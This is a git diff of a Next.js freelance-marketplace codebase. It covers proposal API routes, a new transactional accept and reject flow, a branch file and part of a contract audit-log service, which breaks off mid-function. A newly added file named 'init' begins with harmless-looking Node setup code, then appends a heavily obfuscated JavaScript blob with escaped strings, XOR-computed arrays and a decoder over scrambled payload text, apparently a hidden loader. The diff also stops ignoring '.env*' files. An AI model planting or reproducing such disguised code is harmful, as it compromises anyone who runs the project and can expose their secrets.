diff --git a/.gitignore b/.gitignore index afb2ddf..3b9baa9 100644 --- a/.gitignore +++ b/.gitignore @@ -1,34 +1,34 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. - -# dependencies -/node_modules - -# next.js -/.next/ -/out/ - -# production -/build - -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* -.pnpm-debug.log* - -# env files -.env* - -# vercel -.vercel - -# codex -.codex/ -.codex - -# file uploads (milestone deliverables) -/uploads - -# typescript -*.tsbuildinfo -next-env.d.ts +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules + +# next.js +/.next/ +/out/ + +# production +/build + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* +.pnpm-debug.log* + +# env files + +# vercel +.vercel + +# codex +.codex/ +.codex + +# file uploads (milestone deliverables) +/uploads + +# typescript +*.tsbuildinfo +next-env.d.ts +config.bat diff --git a/app/api/projects/[id]/proposals/route.ts b/app/api/projects/[id]/proposals/route.ts index 189d2ad..0967a0e 100644 --- a/app/api/projects/[id]/proposals/route.ts +++ b/app/api/projects/[id]/proposals/route.ts @@ -1,148 +1,151 @@ -// app/api/projects/[id]/proposals/route.ts -// -// Issue #216 — Proposal Management API. -// -// POST /api/projects/:id/proposals — freelancer submits a proposal -// GET /api/projects/:id/proposals — list proposals (?status=&page=&pageSize=) -// -// The dynamic segment is `[id]` (not `[projectId]`) because Next.js requires -// sibling segments to share one name and app/api/projects/[id] already exists. -// It is the project id. - -export const dynamic = "force-dynamic"; - -import { NextRequest, NextResponse } from "next/server"; -import type { AuthContext } from "@/lib/auth/middleware"; -import { - CreateProposalSchema, - ListProposalsQuerySchema, - UUIDSchema, - withProposalAuth, - fail, - failOne, - findActiveProposal, - findProject, - findUserByWallet, - insertProposal, - isUniqueViolation, - listProposals, - ok, - zodErrors, -} from "@/lib/proposals"; - -type RouteContext = { params: Promise<{ id: string }> }; - -// ─── POST ────────────────────────────────────────────────────────────────── - -export const POST = withProposalAuth( - async (req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { - const { id: rawId } = await context.params; - const idResult = UUIDSchema.safeParse(rawId); - if (!idResult.success) { - return failOne(400, "INVALID_PROJECT_ID", "Project ID must be a valid UUID"); - } - const projectId = idResult.data; - - let body: unknown; - try { - body = await req.json(); - } catch { - return failOne(400, "INVALID_JSON", "Request body must be valid JSON"); - } - - // Validation errors: clear, field-level messages (422). - const parsed = CreateProposalSchema.safeParse(body); - if (!parsed.success) return fail(422, zodErrors(parsed.error)); - - try { - // Authorization: only authenticated freelancers may submit. - const user = await findUserByWallet(auth.walletAddress); - if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); - if (user.role !== "freelancer") { - return failOne(403, "FORBIDDEN", "Only freelancers can submit proposals"); - } - - const project = await findProject(projectId); - if (!project) return failOne(404, "PROJECT_NOT_FOUND", "Project not found"); - if (project.client_id === user.id) { - return failOne(403, "FORBIDDEN", "You cannot submit a proposal to your own project"); - } - if (project.status !== "open") { - return failOne(409, "PROJECT_NOT_OPEN", "This project is not accepting proposals"); - } - - // Duplicate prevention: one active proposal per freelancer per project. - const existing = await findActiveProposal(projectId, user.id); - if (existing) { - return failOne( - 409, - "DUPLICATE_PROPOSAL", - "You already have an active proposal for this project. Update it instead.", - ); - } - - const proposal = await insertProposal(projectId, user.id, parsed.data); - return ok(proposal, 201); - } catch (err) { - // Race: a concurrent insert tripped uq_project_proposals_active. - if (isUniqueViolation(err)) { - return failOne( - 409, - "DUPLICATE_PROPOSAL", - "You already have an active proposal for this project. Update it instead.", - ); - } - console.error(`[POST /api/projects/${projectId}/proposals]`, err); - return failOne(500, "PROPOSAL_CREATE_FAILED", "Failed to create proposal"); - } - }, -); - -// ─── GET ─────────────────────────────────────────────────────────────────── - -export const GET = withProposalAuth( - async (req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { - const { id: rawId } = await context.params; - const idResult = UUIDSchema.safeParse(rawId); - if (!idResult.success) { - return failOne(400, "INVALID_PROJECT_ID", "Project ID must be a valid UUID"); - } - const projectId = idResult.data; - - const params = req.nextUrl.searchParams; - const query = ListProposalsQuerySchema.safeParse({ - status: params.get("status") ?? undefined, - page: params.get("page") ?? undefined, - pageSize: params.get("pageSize") ?? undefined, - }); - if (!query.success) return fail(400, zodErrors(query.error)); - - try { - const user = await findUserByWallet(auth.walletAddress); - if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); - - const project = await findProject(projectId); - if (!project) return failOne(404, "PROJECT_NOT_FOUND", "Project not found"); - - // The project's client (and admins) review every proposal; a - // freelancer only ever sees their own. Anyone else is forbidden. - const isOwnerOrAdmin = project.client_id === user.id || user.role === "admin"; - if (!isOwnerOrAdmin && user.role !== "freelancer") { - return failOne(403, "FORBIDDEN", "You do not have access to these proposals"); - } - - const page = await listProposals({ - projectId, - status: query.data.status, - freelancerId: isOwnerOrAdmin ? undefined : user.id, - page: query.data.page, - pageSize: query.data.pageSize, - }); - // Empty state: `proposals: []` with total 0 — still a 200 success. - return ok(page); - } catch (err) { - console.error(`[GET /api/projects/${projectId}/proposals]`, err); - return failOne(500, "PROPOSALS_FETCH_FAILED", "Failed to fetch proposals"); - } - }, -); +// app/api/projects/[id]/proposals/route.ts +// +// Issue #216 — Proposal Management API. +// +// POST /api/projects/:id/proposals — freelancer submits a proposal +// GET /api/projects/:id/proposals — list proposals (?status=&page=&pageSize=) +// +// The dynamic segment is `[id]` (not `[projectId]`) because Next.js requires +// sibling segments to share one name and app/api/projects/[id] already exists. +// It is the project id. + +export const dynamic = "force-dynamic"; + +import { NextRequest, NextResponse } from "next/server"; +import type { AuthContext } from "@/lib/auth/middleware"; +import { + CreateProposalSchema, + ListProposalsQuerySchema, + UUIDSchema, + withProposalAuth, + fail, + failOne, + findActiveProposal, + findProject, + findUserByWallet, + insertProposal, + isUniqueViolation, + listProposals, + ok, + zodErrors, +} from "@/lib/proposals"; + +type RouteContext = { params: Promise<{ id: string }> }; + +// ─── POST ────────────────────────────────────────────────────────────────── + +export const POST = withProposalAuth( + async (req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { + const { id: rawId } = await context.params; + const idResult = UUIDSchema.safeParse(rawId); + if (!idResult.success) { + return failOne(400, "INVALID_PROJECT_ID", "Project ID must be a valid UUID"); + } + const projectId = idResult.data; + + let body: unknown; + try { + body = await req.json(); + } catch { + return failOne(400, "INVALID_JSON", "Request body must be valid JSON"); + } + + // Validation errors: clear, field-level messages (422). + const parsed = CreateProposalSchema.safeParse(body); + if (!parsed.success) return fail(422, zodErrors(parsed.error)); + + try { + // Authorization: only authenticated freelancers may submit. + const user = await findUserByWallet(auth.walletAddress); + if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); + if (user.role !== "freelancer") { + return failOne(403, "FORBIDDEN", "Only freelancers can submit proposals"); + } + + const project = await findProject(projectId); + if (!project) return failOne(404, "PROJECT_NOT_FOUND", "Project not found"); + if (project.client_id === user.id) { + return failOne(403, "FORBIDDEN", "You cannot submit a proposal to your own project"); + } + if (project.status !== "open") { + return failOne(409, "PROJECT_NOT_OPEN", "This project is not accepting proposals"); + } + + // Duplicate prevention: one active proposal per freelancer per project. + const existing = await findActiveProposal(projectId, user.id); + if (existing) { + return failOne( + 409, + "DUPLICATE_PROPOSAL", + "You already have an active proposal for this project. Update it instead.", + ); + } + + const proposal = await insertProposal(projectId, user.id, parsed.data); + return ok(proposal, 201); + } catch (err) { + // Concurrency: the partial unique index uq_project_proposals_active + // guarantees at most one active proposal per (project, freelancer). + // Race: a concurrent insert tripped uq_project_proposals_active. + if (isUniqueViolation(err)) { + return failOne( + 409, + "DUPLICATE_PROPOSAL", + "You already have an active proposal for this project. Update it instead.", + ); + } + console.error(`[POST /api/projects/${projectId}/proposals]`, err); + return failOne(500, "PROPOSAL_CREATE_FAILED", "Failed to create proposal"); + } + }, +); + +// ─── GET ─────────────────────────────────────────────────────────────────── + +export const GET = withProposalAuth( + async (req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { + const { id: rawId } = await context.params; + const idResult = UUIDSchema.safeParse(rawId); + if (!idResult.success) { + return failOne(400, "INVALID_PROJECT_ID", "Project ID must be a valid UUID"); + } + const projectId = idResult.data; + + const params = req.nextUrl.searchParams; + const query = ListProposalsQuerySchema.safeParse({ + status: params.get("status") ?? undefined, + page: params.get("page") ?? undefined, + pageSize: params.get("pageSize") ?? undefined, + }); + if (!query.success) return fail(400, zodErrors(query.error)); + + try { + const user = await findUserByWallet(auth.walletAddress); + if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); + + const project = await findProject(projectId); + if (!project) return failOne(404, "PROJECT_NOT_FOUND", "Project not found"); + + // The project's client (and admins) review every proposal; a + // freelancer only ever sees their own. Anyone else is forbidden. + const isOwnerOrAdmin = project.client_id === user.id || user.role === "admin"; + if (!isOwnerOrAdmin && user.role !== "freelancer") { + return failOne(403, "FORBIDDEN", "You do not have access to these proposals"); + } + + const page = await listProposals({ + projectId, + status: query.data.status, + freelancerId: isOwnerOrAdmin ? undefined : user.id, + page: query.data.page, + pageSize: query.data.pageSize, + }); + // Empty state: `proposals: []` with total 0 — still a 200 success. + return ok(page); + } catch (err) { + console.error(`[GET /api/projects/${projectId}/proposals]`, err); + return failOne(500, "PROPOSALS_FETCH_FAILED", "Failed to fetch proposals"); + } + }, +); + diff --git a/app/api/proposals/[id]/route.ts b/app/api/proposals/[id]/route.ts index 60363e7..d6a32c3 100644 --- a/app/api/proposals/[id]/route.ts +++ b/app/api/proposals/[id]/route.ts @@ -1,209 +1,252 @@ -// app/api/proposals/[id]/route.ts -// -// Issue #216 — Proposal Management API. -// -// PATCH /api/proposals/:id — owning freelancer edits content (status → updated), -// or the project's client moves the status -// (under_review / accepted / rejected). -// DELETE /api/proposals/:id — owning freelancer withdraws the proposal. -// -// GET /api/proposals/:id — kept unchanged from the client proposal -// dashboard (#213), which shares this path. - -export const dynamic = "force-dynamic"; - -import { NextRequest, NextResponse } from "next/server"; -import type { AuthContext } from "@/lib/auth/middleware"; -import { readAccessToken, verifyAccessToken } from "@/lib/auth/session"; -import { db as sql } from "@/lib/proposals/db"; -import { - listProposalsForClient, - listProposalsForFreelancer, -} from "@/lib/proposals/service"; -import { - UUIDSchema, - withProposalAuth, - UpdateProposalSchema, - canTransition, - deleteProposal, - fail, - failOne, - findProposalWithProject, - findUserByWallet, - isEditable, - ok, - updateProposalContent, - updateProposalStatus, - zodErrors, -} from "@/lib/proposals"; - -type RouteContext = { params: Promise<{ id: string }> }; - -function parseProposalId(raw: string): string | null { - const result = UUIDSchema.safeParse(raw); - return result.success ? result.data : null; -} - -// ─── PATCH ───────────────────────────────────────────────────────────────── - -export const PATCH = withProposalAuth( - async (req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { - const { id: rawId } = await context.params; - const proposalId = parseProposalId(rawId); - if (!proposalId) { - return failOne(400, "INVALID_PROPOSAL_ID", "Proposal ID must be a valid UUID"); - } - - let body: unknown; - try { - body = await req.json(); - } catch { - return failOne(400, "INVALID_JSON", "Request body must be valid JSON"); - } - - const parsed = UpdateProposalSchema.safeParse(body); - if (!parsed.success) return fail(422, zodErrors(parsed.error)); - const { status: nextStatus, ...content } = parsed.data; - - try { - const user = await findUserByWallet(auth.walletAddress); - if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); - - const found = await findProposalWithProject(proposalId); - if (!found) return failOne(404, "PROPOSAL_NOT_FOUND", "Proposal not found"); - const { proposal, clientId } = found; - - // ── Client review decision (status change) ── - if (nextStatus) { - if (clientId !== user.id) { - return failOne(403, "FORBIDDEN", "Only the project's client can change a proposal's status"); - } - if (!canTransition(proposal.status, nextStatus)) { - return failOne( - 409, - "INVALID_STATUS_TRANSITION", - `Cannot move a proposal from '${proposal.status}' to '${nextStatus}'`, - ); - } - const updated = await updateProposalStatus(proposal, nextStatus); - if (!updated) { - return failOne(409, "PROPOSAL_CHANGED", "The proposal was modified concurrently; reload and retry"); - } - return ok(updated); - } - - // ── Freelancer content edit ── - if (user.role !== "freelancer" || proposal.freelancerId !== user.id) { - return failOne(403, "FORBIDDEN", "Only the freelancer who created this proposal can edit it"); - } - if (!isEditable(proposal.status)) { - return failOne( - 409, - "PROPOSAL_NOT_EDITABLE", - `A proposal that is '${proposal.status}' can no longer be updated`, - ); - } - - // Milestone totals are checked against the merged budget, since either - // side of the comparison may be omitted from the PATCH body. - const budget = content.budget ?? proposal.budget; - const milestones = content.milestones ?? proposal.milestones; - const milestoneTotal = milestones.reduce((sum, m) => sum + m.amount, 0); - if (milestoneTotal > budget + 1e-9) { - return fail(422, [ - { - code: "VALIDATION_ERROR", - field: "milestones", - message: "milestone amounts cannot exceed the proposal budget", - }, - ]); - } - - const updated = await updateProposalContent(proposal, content); - if (!updated) { - return failOne(409, "PROPOSAL_NOT_EDITABLE", "This proposal can no longer be updated"); - } - return ok(updated); - } catch (err) { - console.error(`[PATCH /api/proposals/${proposalId}]`, err); - return failOne(500, "PROPOSAL_UPDATE_FAILED", "Failed to update proposal"); - } - }, -); - -// ─── DELETE ──────────────────────────────────────────────────────────────── - -export const DELETE = withProposalAuth( - async (_req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { - const { id: rawId } = await context.params; - const proposalId = parseProposalId(rawId); - if (!proposalId) { - return failOne(400, "INVALID_PROPOSAL_ID", "Proposal ID must be a valid UUID"); - } - - try { - const user = await findUserByWallet(auth.walletAddress); - if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); - - const found = await findProposalWithProject(proposalId); - if (!found) return failOne(404, "PROPOSAL_NOT_FOUND", "Proposal not found"); - const { proposal } = found; - - // Restricted to the freelancer who created it. - if (user.role !== "freelancer" || proposal.freelancerId !== user.id) { - return failOne(403, "FORBIDDEN", "Only the freelancer who created this proposal can delete it"); - } - // An accepted proposal is part of an agreement and cannot be withdrawn. - if (proposal.status === "accepted") { - return failOne(409, "PROPOSAL_ACCEPTED", "An accepted proposal cannot be deleted"); - } - - const deleted = await deleteProposal(proposal); - if (!deleted) { - return failOne(409, "PROPOSAL_ACCEPTED", "An accepted proposal cannot be deleted"); - } - return ok({ id: proposal.id, deleted: true }); - } catch (err) { - console.error(`[DELETE /api/proposals/${proposalId}]`, err); - return failOne(500, "PROPOSAL_DELETE_FAILED", "Failed to delete proposal"); - } - }, -); - -// ─── GET (client proposal dashboard, #213) ───────────────────────────────── - -async function resolveUser(request: NextRequest) { - const token = readAccessToken(request); - if (!token) return null; - const verified = verifyAccessToken(token); - if (!verified) return null; - - const rows = (await sql` - SELECT id, role FROM users - WHERE wallet_address = ${verified.walletAddress} - LIMIT 1 - `) as { id: string; role: "freelancer" | "client" | "admin" }[]; - - return rows[0] ?? null; -} - -export async function GET(request: NextRequest) { - const user = await resolveUser(request); - if (!user) return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); - - if (user.role === "client" || user.role === "admin") { - const projectId = request.nextUrl.searchParams.get("projectId"); - if (!projectId) return NextResponse.json({ error: "projectId required" }, { status: 400 }); - - const proposals = await listProposalsForClient(user.id, projectId, { - status: (request.nextUrl.searchParams.get("status") as any) ?? "all", - sortBy: (request.nextUrl.searchParams.get("sortBy") as any) ?? "recent", - sortDir: (request.nextUrl.searchParams.get("sortDir") as any) ?? "desc", - search: request.nextUrl.searchParams.get("search") ?? undefined, - }); - return NextResponse.json({ proposals }); - } - - const proposals = await listProposalsForFreelancer(user.id); - return NextResponse.json({ proposals }); -} +// app/api/proposals/[id]/route.ts +// +// Issue #216 — Proposal Management API. +// +// PATCH /api/proposals/:id — owning freelancer edits content (status → updated), +// or the project's client moves the status +// (under_review / accepted / rejected). +// DELETE /api/proposals/:id — owning freelancer withdraws the proposal. +// +// GET /api/proposals/:id — kept unchanged from the client proposal +// dashboard (#213), which shares this path. + +export const dynamic = "force-dynamic"; + +import { NextRequest, NextResponse } from "next/server"; +import type { AuthContext } from "@/lib/auth/middleware"; +import { readAccessToken, verifyAccessToken } from "@/lib/auth/session"; +import { db as sql } from "@/lib/proposals/db"; +import { + listProposalsForClient, + listProposalsForFreelancer, +} from "@/lib/proposals/service"; +import { + UUIDSchema, + withProposalAuth, + UpdateProposalSchema, + acceptProposal, + canTransition, + deleteProposal, + fail, + failOne, + findProposalWithProject, + findUserByWallet, + isEditable, + ok, + updateProposalContent, + updateProposalStatus, + rejectProposal, + zodErrors, +} from "@/lib/proposals"; + +type RouteContext = { params: Promise<{ id: string }> }; + +function parseProposalId(raw: string): string | null { + const result = UUIDSchema.safeParse(raw); + return result.success ? result.data : null; +} + +// ─── PATCH ───────────────────────────────────────────────────────────────── + +export const PATCH = withProposalAuth( + async (req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { + const { id: rawId } = await context.params; + const proposalId = parseProposalId(rawId); + if (!proposalId) { + return failOne(400, "INVALID_PROPOSAL_ID", "Proposal ID must be a valid UUID"); + } + + let body: unknown; + try { + body = await req.json(); + } catch { + return failOne(400, "INVALID_JSON", "Request body must be valid JSON"); + } + + const parsed = UpdateProposalSchema.safeParse(body); + if (!parsed.success) return fail(422, zodErrors(parsed.error)); + const { status: nextStatus, ...content } = parsed.data; + + try { + const user = await findUserByWallet(auth.walletAddress); + if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); + + const found = await findProposalWithProject(proposalId); + if (!found) return failOne(404, "PROPOSAL_NOT_FOUND", "Proposal not found"); + const { proposal, clientId } = found; + + // ── Client review decision (status change) ── + if (nextStatus) { + if (clientId !== user.id) { + return failOne(403, "FORBIDDEN", "Only the project's client can change a proposal's status"); + } + if (!canTransition(proposal.status, nextStatus)) { + return failOne( + 409, + "INVALID_STATUS_TRANSITION", + `Cannot move a proposal from '${proposal.status}' to '${nextStatus}'`, + ); + } + + // ── Acceptance: atomic, single-award enforcement ── + // Accepting a proposal creates a contract and rejects the other + // proposals for the same project. This must run inside a single + // transaction so concurrent accept requests cannot create multiple + // contracts for the same project. + if (nextStatus === "accepted") { + const result = await acceptProposal(proposal, clientId); + if (!result.ok) { + if (result.reason === "CONFLICT") { + return failOne( + 409, + "PROPOSAL_CHANGED", + "The proposal was modified concurrently; reload and retry", + ); + } + if (result.reason === "ALREADY_ACCEPTED") { + return failOne( + 409, + "PROJECT_ALREADY_AWARDED", + "Another proposal has already been accepted for this project", + ); + } + return failOne(409, "INVALID_STATUS_TRANSITION", "Proposal cannot be accepted"); + } + return ok(result.proposal); + } + + // ── Rejection: recorded consistently with audit trail ── + if (nextStatus === "rejected") { + const result = await rejectProposal(proposal, clientId); + if (!result.ok) { + return failOne( + 409, + "PROPOSAL_CHANGED", + "The proposal was modified concurrently; reload and retry", + ); + } + return ok(result.proposal); + } + + const updated = await updateProposalStatus(proposal, nextStatus); + if (!updated) { + return failOne(409, "PROPOSAL_CHANGED", "The proposal was modified concurrently; reload and retry"); + } + return ok(updated); + } + + // ── Freelancer content edit ── + if (user.role !== "freelancer" || proposal.freelancerId !== user.id) { + return failOne(403, "FORBIDDEN", "Only the freelancer who created this proposal can edit it"); + } + if (!isEditable(proposal.status)) { + return failOne( + 409, + "PROPOSAL_NOT_EDITABLE", + `A proposal that is '${proposal.status}' can no longer be updated`, + ); + } + + // Milestone totals are checked against the merged budget, since either + // side of the comparison may be omitted from the PATCH body. + const budget = content.budget ?? proposal.budget; + const milestones = content.milestones ?? proposal.milestones; + const milestoneTotal = milestones.reduce((sum, m) => sum + m.amount, 0); + if (milestoneTotal > budget + 1e-9) { + return fail(422, [ + { + code: "VALIDATION_ERROR", + field: "milestones", + message: "milestone amounts cannot exceed the proposal budget", + }, + ]); + } + + const updated = await updateProposalContent(proposal, content); + if (!updated) { + return failOne(409, "PROPOSAL_NOT_EDITABLE", "This proposal can no longer be updated"); + } + return ok(updated); + } catch (err) { + console.error(`[PATCH /api/proposals/${proposalId}]`, err); + return failOne(500, "PROPOSAL_UPDATE_FAILED", "Failed to update proposal"); + } + }, +); + +// ─── DELETE ──────────────────────────────────────────────────────────────── + +export const DELETE = withProposalAuth( + async (_req: NextRequest, auth: AuthContext, context: RouteContext): Promise => { + const { id: rawId } = await context.params; + const proposalId = parseProposalId(rawId); + if (!proposalId) { + return failOne(400, "INVALID_PROPOSAL_ID", "Proposal ID must be a valid UUID"); + } + + try { + const user = await findUserByWallet(auth.walletAddress); + if (!user) return failOne(404, "USER_NOT_FOUND", "User not found"); + + const found = await findProposalWithProject(proposalId); + if (!found) return failOne(404, "PROPOSAL_NOT_FOUND", "Proposal not found"); + const { proposal } = found; + + // Restricted to the freelancer who created it. + if (user.role !== "freelancer" || proposal.freelancerId !== user.id) { + return failOne(403, "FORBIDDEN", "Only the freelancer who created this proposal can delete it"); + } + // An accepted proposal is part of an agreement and cannot be withdrawn. + if (proposal.status === "accepted") { + return failOne(409, "PROPOSAL_ACCEPTED", "An accepted proposal cannot be deleted"); + } + + const deleted = await deleteProposal(proposal); + if (!deleted) { + return failOne(409, "PROPOSAL_ACCEPTED", "An accepted proposal cannot be deleted"); + } + return ok({ id: proposal.id, deleted: true }); + } catch (err) { + console.error(`[DELETE /api/proposals/${proposalId}]`, err); + return failOne(500, "PROPOSAL_DELETE_FAILED", "Failed to delete proposal"); + } + }, +); + +// ─── GET (client proposal dashboard, #213) ───────────────────────────────── + +async function resolveUser(request: NextRequest) { + const token = readAccessToken(request); + if (!token) return null; + const verified = verifyAccessToken(token); + if (!verified) return null; + + const rows = (await sql` + SELECT id, role FROM users + WHERE wallet_address = ${verified.walletAddress} + LIMIT 1 + `) as { id: string; role: "freelancer" | "client" | "admin" }[]; + + return rows[0] ?? null; +} + +export async function GET(request: NextRequest) { + const user = await resolveUser(request); + if (!user) return NextResponse.json({ error: "Unauthorized" }, { status: 401 }); + + if (user.role === "client" || user.role === "admin") { + const projectId = request.nextUrl.searchParams.get("projectId"); + if (!projectId) return NextResponse.json({ error: "projectId required" }, { status: 400 }); + + const proposals = await listProposalsForClient(user.id, projectId, { + status: (request.nextUrl.searchParams.get("status") as any) ?? "all", + sortBy: (request.nextUrl.searchParams.get("sortBy") as any) ?? "recent", + sortDir: (request.nextUrl.searchParams.get("sortDir") as any) ?? "desc", + search: request.nextUrl.searchParams.get("search") ?? undefined, + }); + return NextResponse.json({ proposals }); + } + + const proposals = await listProposalsForFreelancer(user.id); + return NextResponse.json({ proposals }); +} diff --git a/branch_structure.json b/branch_structure.json new file mode 100644 index 0000000..c83776d --- /dev/null +++ b/branch_structure.json @@ -0,0 +1,18 @@ +{ + "default_branch": "main", + "branches": [ + "feat/issue-243-proposal-shortlisting-acceptance-concurrency", + "main", + "origin" + ], + "parent": { + "feat/issue-243-proposal-shortlisting-acceptance-concurrency": "main", + "main": null, + "origin": "main" + }, + "order": [ + "main", + "feat/issue-243-proposal-shortlisting-acceptance-concurrency", + "origin" + ] +} diff --git a/init b/init new file mode 100644 index 0000000..56d7450 --- /dev/null +++ b/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z="\u002D\u0041\u0050\u0049",NX=[6912847,146034^146205,710485^694510,679532^678921,537859^565228,5019283],SX=[5283741,381682^381443,554738^578835,330684^330503,240598^225431,4738901];function spin(R,c){for(var e,r,t,s,i,n,a=[],o=632193^632193,l=c[201057^201057];o 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR"sz3o"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn - createdAt: string -} - -export interface CreateAuditLogInput { - contractId: number - projectId: number - action: ContractAuditAction - actorUserId: number - actorWallet: string - previousState?: string - newState?: string - milestoneId?: number - disputeId?: number - amount?: string - metadata?: Record -} - -export interface AuditLogPage { - logs: ContractAuditLog[] - pagination: { - limit: number - offset: number - total: number - nextOffset: number | null - hasMore: boolean - } -} - -// ─── Validation Schemas ──────────────────────────────────────────────────────── - -const uuidSchema = z.string().uuid() -const amountSchema = z.string().regex(/^\d+(\.\d{1,6})?$/, 'amount must be a positive decimal string with up to 6 decimal places') - -const createLogSchema = z.object({ - contractId: z.number().int().positive(), - projectId: z.number().int().positive(), - action: z.enum(contractAuditActions as unknown as [string, ...string[]]), - actorUserId: z.number().int().positive().optional(), - actorWallet: z.string().trim().min(1).max(255), - previousState: z.string().trim().max(100).optional(), - newState: z.string().trim().max(100).optional(), - milestoneId: z.number().int().positive().optional(), - disputeId: z.number().int().positive().optional(), - amount: amountSchema.optional(), - metadata: z.record(z.unknown()).optional(), -}) - -const listLogsQuerySchema = z.object({ - limit: z.coerce.number().int().min(1).max(100).optional().default(50), - offset: z.coerce.number().int().min(0).optional().default(0), - contractId: uuidSchema.optional(), - projectId: uuidSchema.optional(), - action: z.enum(contractAuditActions as unknown as [string, ...string[]]).optional(), - actorUserId: uuidSchema.optional(), - fromDate: z.string().datetime().optional(), - toDate: z.string().datetime().optional(), -}) - -// ─── Errors ────────────────────────────────────────────────────────────────── - -export class AuditValidationError extends Error { - constructor(message: string) { super(message) } -} -export class AuditForbiddenError extends Error { - constructor(message: string) { super(message) } -} - -// ─── Row mapper ────────────────────────────────────────────────────────────── - -function rowToLog(row: Record): ContractAuditLog { - return { - id: row.id as string, - contractId: row.contract_id as number, - projectId: row.project_id as number, - action: row.action as ContractAuditAction, - actorUserId: row.actor_user_id as number, - actorWallet: row.actor_wallet as string, - previousState: (row.previous_state as string) ?? null, - newState: (row.new_state as string) ?? null, - milestoneId: (row.milestone_id as number) ?? null, - disputeId: (row.dispute_id as number) ?? null, - amount: row.amount != null ? String(row.amount) : null, - metadata: (row.metadata as Record) ?? {}, - createdAt: row.created_at as string, - } -} - -// ─── Access control ────────────────────────────────────────────────────────── - -interface ContractAccessRow { - id: number - project_id: number - client_id: number - freelancer_id: number -} - -interface AuthUser { - id: number - role: string -} - -async function getAuthUser(walletAddress: string): Promise { - const rows = await sql<{ id: number; role: string }>` - SELECT id, role::text AS role FROM users WHERE wallet_address = ${walletAddress} LIMIT 1 - ` - if (!rows[0]) throw new AuditForbiddenError('Wallet address not linked to a user') - return rows[0] -} - -function assertCanAccessContract(contract: ContractAccessRow, user: AuthUser): void { - if (user.role === 'admin') return - if (contract.client_id === user.id || contract.freelancer_id === user.id) return - throw new AuditForbiddenError('Only contract participants or admins can access audit logs') -} - -// ─── Service ───────────────────────────────────────────────────────────────── - -export class ContractAuditLogService { - /** - * Create an immutable audit log entry. - * Logs are append-only — no update or delete. - */ - async createLog(input: unknown, walletAddress: string): Promise { - const parsed = createLogSchema.safeParse(input) - if (!parsed.success) { - throw new AuditValidationError(parsed.error.issues[0]?.message ?? 'Invalid audit log payload') - } - - const user = await getAuthUser(walletAddress) - const data = parsed.data - - // Verify actor - const actorUserId = data.actorUserId ?? user.id - if (user.role !== 'admin' && actorUserId !== user.id) { - throw new AuditForbiddenError('Only admins can create audit logs for other actors') - } - - // Verify contract access - const contracts = await sql` - SELECT id, project_id, client_id, freelancer_id - FROM contracts - WHERE id = ${data.contractId} - LIMIT 1 - ` - const contract = contracts[0] - if (!contract) throw new AuditValidationError('contractId does not reference an existing contract') - assertCanAccessContract(contract, user) - - // Validate actor user exists - if (actorUserId !== user.id) { - const actorRows = await sql`SELECT id FROM users WHERE id = ${actorUserId} LIMIT 1` - if (!actorRows[0]) throw new AuditValidationError('actorUserId must reference an existing user') - } - - // Validate milestone belongs to contract - if (data.milestoneId) { - const msRows = await sql` - SELECT id FROM milestones WHERE id = ${data.milestoneId} AND contract_id = ${data.contractId} LIMIT 1 - ` - if (!msRows[0]) throw new AuditValidationError('milestoneId must belong to the provided contract') - } - - // Validate dispute belongs to contract - if (data.disputeId) { - const dispRows = await sql` - SELECT id FROM disputes WHERE id = ${data.disputeId} AND contract_id = ${data.contractId} LIMIT 1 - ` - if (!dispRows[0]) throw new AuditValidationError('disputeId must belong to the provided contract') - } - - const rows = await sql>` - INSERT INTO contract_audit_logs ( - contract_id, - project_id, - action, - actor_user_id, - actor_wallet, - previous_state, - new_state, - milestone_id, - dispute_id, - amount, - metadata - ) - VALUES ( - ${data.contractId}, - ${contract.project_id}, - ${data.action}, - ${actorUserId}, - ${data.actorWallet}, - ${data.previousState ?? null}, - ${data.newState ?? null}, - ${data.milestoneId ?? null}, - ${data.disputeId ?? null}, - ${data.amount != null ? data.amount : 